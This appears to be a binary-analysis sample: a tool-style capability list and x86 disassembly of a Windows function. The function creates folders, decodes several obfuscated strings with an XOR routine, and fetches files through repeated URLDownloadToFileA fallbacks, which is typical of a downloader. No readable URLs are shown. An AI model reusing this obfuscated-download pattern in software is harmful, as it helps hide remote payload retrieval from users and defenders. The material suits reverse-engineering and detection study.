Function at 0x1008ba10
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Get file attributes
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x1029e280]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
jmp 0x1008ba2c
lea eax, [ebp - 0x1c]
mov ecx, 0x1028a0e8
push eax
call fcn.1004f800
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
mov ecx, 0x102a32c0
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.10056880
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x1008ba84
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008ba7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008bb22
push ecx
push edx
call fcn.101169da
add esp, 8
lea eax, [ebp - 0x1c]
mov ecx, 0x1028a100
push eax
call fcn.10050fc0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
mov ecx, 0x102a3308
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.10056880
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x1008bad8
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008bace
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008bb22
push ecx
push edx
call fcn.101169da
add esp, 8
lea eax, [ebp - 0x1c]
mov ecx, 0x1028a120
push eax
call fcn.10050ef0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
mov ecx, 0x102a32f0
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.10056880
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x1008bb32
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008bb28
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008bb28
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101169da
add esp, 8
cmp dword [0x102a32d4], 0xf
mov eax, 0x102a32c0
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmova eax, dword [0x102a32c0]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x3c], eax
cmp eax, 0xffffffff
jne 0x1008bb6c
call esi
cmp eax, 2
je 0x1008bb70
mov eax, dword [ebp - 0x3c]
test al, 0x10
jne 0x1008bb88
cmp dword [0x102a32d4], 0xf
mov eax, 0x102a32c0
push 0
cmova eax, dword [0x102a32c0]
push eax
call edi
cmp dword [0x102a331c], 0xf
mov eax, 0x102a3308
cmova eax, dword [0x102a3308]
push eax
call ebx
mov dword [ebp - 0x3c], eax
cmp eax, 0xffffffff
jne 0x1008bbb0
call esi
cmp eax, 2
je 0x1008bbb4
mov eax, dword [ebp - 0x3c]
test al, 0x10
jne 0x1008bbcc
cmp dword [0x102a331c], 0xf
mov eax, 0x102a3308
push 0
cmova eax, dword [0x102a3308]
push eax
call edi
cmp dword [0x102a3304], 0xf
mov eax, 0x102a32f0
cmova eax, dword [0x102a32f0]
push eax
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1008bbf0
call esi
cmp eax, 2
je 0x1008bbf5
test bl, 0x10
jne 0x1008bc0d
cmp dword [0x102a3304], 0xf
mov eax, 0x102a32f0
push 0
cmova eax, dword [0x102a32f0]
push eax
call edi
lea eax, [ebp - 0x34]
mov ecx, 0x1028a168
push eax
call fcn.100833c0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
cmp byte [0x1028a138], 0
mov dword [ebp - 0x3c], eax
je 0x1008bca9
cmp byte [0x1028a139], 0
jne 0x1008bd07
mov byte [0x1028a139], 1
xor ebx, ebx
nop dword [eax + eax]
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a160]
xor edi, dword [0x1028a164]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x1028a13a]
xor al, dl
mov byte [ebx + 0x1028a13a], al
inc ebx
cmp ebx, 0x20
jb 0x1008bc50
jmp 0x1008bd07
xor ebx, ebx
nop dword [eax + eax]
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a160]
xor edi, dword [0x1028a164]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x1028a13a]
xor al, dl
mov byte [ebx + 0x1028a13a], al
inc ebx
cmp ebx, 0x20
jb 0x1008bcb0
lea eax, [ebp - 0x35]
push eax
push 0x1028a159
push 0x1028a13a
lea ecx, [ebp - 0x1c]
call fcn.1004f490
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
push 0
cmova eax, dword [ebp - 0x1c]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp - 8]
mov esi, eax
cmp ecx, 0xf
jbe 0x1008bd69
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008bd5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008bda1
push ecx
push edx
call fcn.101169da
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp ecx, 0xf
jbe 0x1008bdb1
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008bda7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008bda7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101169da
add esp, 8
test esi, esi
jne 0x1008c3b0
lea eax, [ebp - 0x34]
mov ecx, 0x1028a1f0
push eax
call fcn.100833c0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
cmp byte [0x1028a1b0], 0
mov dword [ebp - 0x3c], eax
je 0x1008be4d
cmp byte [0x1028a1b1], 0
jne 0x1008bea7
mov byte [0x1028a1b1], 1
xor ebx, ebx
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a1e8]
xor edi, dword [0x1028a1ec]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x1028a1b2]
xor al, dl
mov byte [ebx + 0x1028a1b2], al
inc ebx
cmp ebx, 0x30
jb 0x1008bdf4
jmp 0x1008bea7
xor ebx, ebx
nop
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a1e8]
xor edi, dword [0x1028a1ec]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x1028a1b2]
xor al, dl
mov byte [ebx + 0x1028a1b2], al
inc ebx
cmp ebx, 0x30
jb 0x1008be50
lea eax, [ebp - 0x35]
push eax
push 0x1028a1e1
push 0x1028a1b2
lea ecx, [ebp - 0x1c]
call fcn.1004f490
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
push 0
cmova eax, dword [ebp - 0x1c]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp - 8]
mov esi, eax
cmp ecx, 0xf
jbe 0x1008bf09
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008beff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008bf41
push ecx
push edx
call fcn.101169da
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp ecx, 0xf
jbe 0x1008bf51
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008bf47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008bf47
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101169da
add esp, 8
test esi, esi
jne 0x1008c3b0
lea eax, [ebp - 0x1c]
mov ecx, 0x1028a278
push eax
call fcn.100833c0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
cmova eax, dword [ebp - 0x1c]
cmp byte [0x1028a238], 0
mov dword [ebp - 0x3c], eax
je 0x1008bfed
cmp byte [0x1028a239], 0
jne 0x1008c041
mov byte [0x1028a239], 1
xor ebx, ebx
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a270]
xor edi, dword [0x1028a274]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x1028a23a]
xor al, dl
mov byte [ebx + 0x1028a23a], al
inc ebx
cmp ebx, 0x2f
jb 0x1008bf94
jmp 0x1008c041
xor ebx, ebx
nop
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a270]
xor edi, dword [0x1028a274]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x1028a23a], al
inc ebx
cmp ebx, 0x2f
jb 0x1008bff0
lea eax, [ebp - 0x35]
push eax
push 0x1028a268
push 0x1028a23a
lea ecx, [ebp - 0x34]
call fcn.1004f490
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10044c60
lea ecx, [ebp - 0x1c]
call fcn.10044c60
test esi, esi
jne 0x1008c3b0
lea eax, [ebp - 0x1c]
mov ecx, 0x1028a300
push eax
call fcn.100833c0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
cmova eax, dword [ebp - 0x1c]
cmp byte [0x1028a2c0], 0
mov dword [ebp - 0x3c], eax
je 0x1008c11f
cmp byte [0x1028a2c1], 0
jne 0x1008c178
mov byte [0x1028a2c1], 1
xor ebx, ebx
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a2f8]
xor edi, dword [0x1028a2fc]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x1028a2c2]
xor al, dl
mov byte [ebx + 0x1028a2c2], al
inc ebx
cmp ebx, 0x34
jb 0x1008c0c6
jmp 0x1008c178
xor ebx, ebx
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a2f8]
xor edi, dword [0x1028a2fc]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x1028a2c2]
xor al, dl
mov byte [ebx + 0x1028a2c2], al
inc ebx
cmp ebx, 0x34
jb 0x1008c121
lea eax, [ebp - 0x35]
push eax
push 0x1028a2f5
push 0x1028a2c2
lea ecx, [ebp - 0x34]
call fcn.1004f490
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10044c60
lea ecx, [ebp - 0x1c]
call fcn.10044c60
test esi, esi
jne 0x1008c3b0
lea eax, [ebp - 0x1c]
mov ecx, 0x1028a380
push eax
call fcn.100833c0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x1028a348
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.100659d0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10044c60
lea ecx, [ebp - 0x1c]
call fcn.10044c60
test esi, esi
jne 0x1008c3b0
lea eax, [ebp - 0x1c]
mov ecx, 0x1028a400
push eax
call fcn.100833c0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x1028a3c8
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.100659d0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10044c60
lea ecx, [ebp - 0x1c]
call fcn.10044c60
test esi, esi
jne 0x1008c3b0
lea eax, [ebp - 0x1c]
mov ecx, 0x1028a470
push eax
call fcn.100833c0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
cmova eax, dword [ebp - 0x1c]
cmp byte [0x1028a448], 0
mov dword [ebp - 0x3c], eax
je 0x1008c309
cmp byte [0x1028a449], 0
jne 0x1008c361
mov byte [0x1028a449], 1
xor ebx, ebx
nop
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a468]
xor edi, dword [0x1028a46c]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x1028a44a]
xor al, dl
mov byte [ebx + 0x1028a44a], al
inc ebx
cmp ebx, 0x1e
jb 0x1008c2b0
jmp 0x1008c361
xor ebx, ebx
nop dword [eax + eax]
xor edi, edi
mov esi, ebx
xor esi, dword [0x1028a468]
xor edi, dword [0x1028a46c]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x1028a44a], al
inc ebx
cmp ebx, 0x1e
jb 0x1008c310
lea eax, [ebp - 0x35]
push eax
push 0x1028a467
push 0x1028a44a
lea ecx, [ebp - 0x34]
call fcn.1004f490
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10044c60
lea ecx, [ebp - 0x1c]
call fcn.10044c60
test esi, esi
jne 0x1008c3b0
jmp 0x1008c3b0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10116d02
mov esp, ebp
pop ebp
ret